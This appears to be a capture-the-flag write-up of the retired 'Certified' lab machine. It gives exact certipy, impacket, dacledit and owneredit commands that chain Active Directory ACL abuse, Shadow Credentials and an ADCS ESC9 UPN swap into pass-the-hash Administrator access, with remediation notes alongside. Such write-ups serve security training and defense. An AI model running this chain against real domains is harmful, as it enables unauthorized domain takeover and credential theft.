Certified
Summary
Starting from a single low-privilege domain credential (judith.mader), I used BloodHound to map a full Active Directory ACL-abuse chain against the certified.htb domain controller. Take-ownership rights over the 'Management' security group let me self-add to that group; Management, in turn, held GenericWrite over the management_svc service account and GenericAll over ca_operator, both of which were escalated using Shadow Credentials (Key Trust) attacks to obtain their NT hashes without ever touching a password.
The final hop abused an Active Directory Certificate Services template (CertifiedAuthentication) that lacked the security extension binding a certificate to a specific account SID (ADCS ESC9): by temporarily setting ca_operator's UPN to 'Administrator' and requesting a certificate from that template, I obtained a certificate the domain controller mapped to the Administrator account, yielding the Administrator NTLM hash. Pass-the-hash authentication as Administrator gave full command execution on the domain controller, from which both user.txt and root.txt were retrieved — a complete domain compromise built entirely on chained AD permission and PKI misconfigurations, no software exploit required.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"Some commands also carry a value in angle brackets — <ca_operator_nt_hash>, <management_svc_nt_hash> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Resolve the domain and DC hostname locally before authenticating.
$ echo "$TARGET certified.htb dc01.certified.htb" | sudo tee -a /etc/hostsCollect the full AD graph as judith.mader; ingest into BloodHound and review Outbound Object Control on judith.mader.
$ bloodhound-python -u judith.mader -p $PASSWORD -d certified.htb -ns $TARGET -c AllExact commands 4
Take ownership of the Management group object.
$ owneredit.py -action write -new-owner judith.mader -target Management certified.htb/judith.mader:$PASSWORD -dc-ip $TARGETGrant judith.mader the right to modify group membership.
$ dacledit.py -action write -rights WriteMembers -principal judith.mader -target Management certified.htb/judith.mader:$PASSWORD -dc-ip $TARGETAdd judith.mader into the Management group.
$ net rpc group addmem "Management" "judith.mader" -U certified.htb/judith.mader%$PASSWORD -S $TARGETForce a fresh Kerberos TGT so the new group membership is reflected in the PAC — required before the new rights take effect.
$ kdestroy && kinit judith.maderFixRemove excessive WriteOwner/WriteMembers delegation on privileged groupsHigh
Exact commands 1
Add a shadow credential to management_svc and authenticate via PKINIT to retrieve its NT hash.
$ certipy shadow auto -u judith.mader -p $PASSWORD -account management_svc -dc-ip $TARGETFixRestrict who can write to msDS-KeyCredentialLink and monitor Shadow Credential additionsCritical
Exact commands 1
Repeat the shadow-credential attack, now authenticating as management_svc via pass-the-hash, to extract ca_operator's NT hash.
$ certipy shadow auto -u management_svc -hashes ':<management_svc_nt_hash>' -account ca_operator -dc-ip $TARGETExact commands 1
Enumerate CA and template configuration and flag ESC1-ESC11 style weaknesses; CertifiedAuthentication reports ESC9.
$ certipy find -u ca_operator -hashes ':<ca_operator_nt_hash>' -dc-ip $TARGET -vulnerable -stdoutExact commands 4
Temporarily set ca_operator's UPN to Administrator.
$ certipy account update -u management_svc -hashes ':<management_svc_nt_hash>' -user ca_operator -upn Administrator -dc-ip $TARGETRequest a certificate from the vulnerable template while impersonating Administrator's UPN.
$ certipy req -u ca_operator -hashes ':<ca_operator_nt_hash>' -ca certified-DC01-CA -template CertifiedAuthentication -dc-ip $TARGETRestore ca_operator's real UPN immediately — do this even if a later step fails, to avoid leaving the account broken.
$ certipy account update -u management_svc -hashes ':<management_svc_nt_hash>' -user ca_operator -upn ca_operator@certified.htb -dc-ip $TARGETAuthenticate with the issued certificate via PKINIT to recover the Administrator NT hash.
$ certipy auth -pfx administrator.pfx -dc-ip $TARGETFixRemediate the AD CS ESC9 misconfiguration on the CertifiedAuthentication templateCritical
Exact commands 4
Open a command shell as Administrator using pass-the-hash — no plaintext password needed.
$ impacket-wmiexec -hashes "$HASH" 'CERTIFIED/Administrator'@$TARGETRun in the wmiexec shell to prove Administrator/SYSTEM-equivalent context before reading flags.
$ whoamiRead the user flag; replace output with <user.txt> when reporting.
$ type C:\Users\management_svc\Desktop\user.txtRead the root flag; replace output with <root.txt> when reporting.
$ type C:\Users\Administrator\Desktop\root.txtFixReduce exposure to NTLM hash theft and pass-the-hash reuseHigh
Attack patterns used
The transferable techniques behind this compromise.
AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649
What it is
Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.
Why it works
Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.
Read more
Exposed services
| 53/tcp | dns recon-sweep-discovered |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 445/tcp | microsoft-ds |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 3268/tcp | ldap recon-sweep-discovered |
| 3269/tcp | unknown recon-sweep-discovered |
| 5985/tcp | winrm recon-sweep-discovered |
| 9389/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49689/tcp | unknown recon-sweep-discovered |
| 49690/tcp | unknown recon-sweep-discovered |
| 49695/tcp | unknown recon-sweep-discovered |
| 49724/tcp | unknown recon-sweep-discovered |
| 49732/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.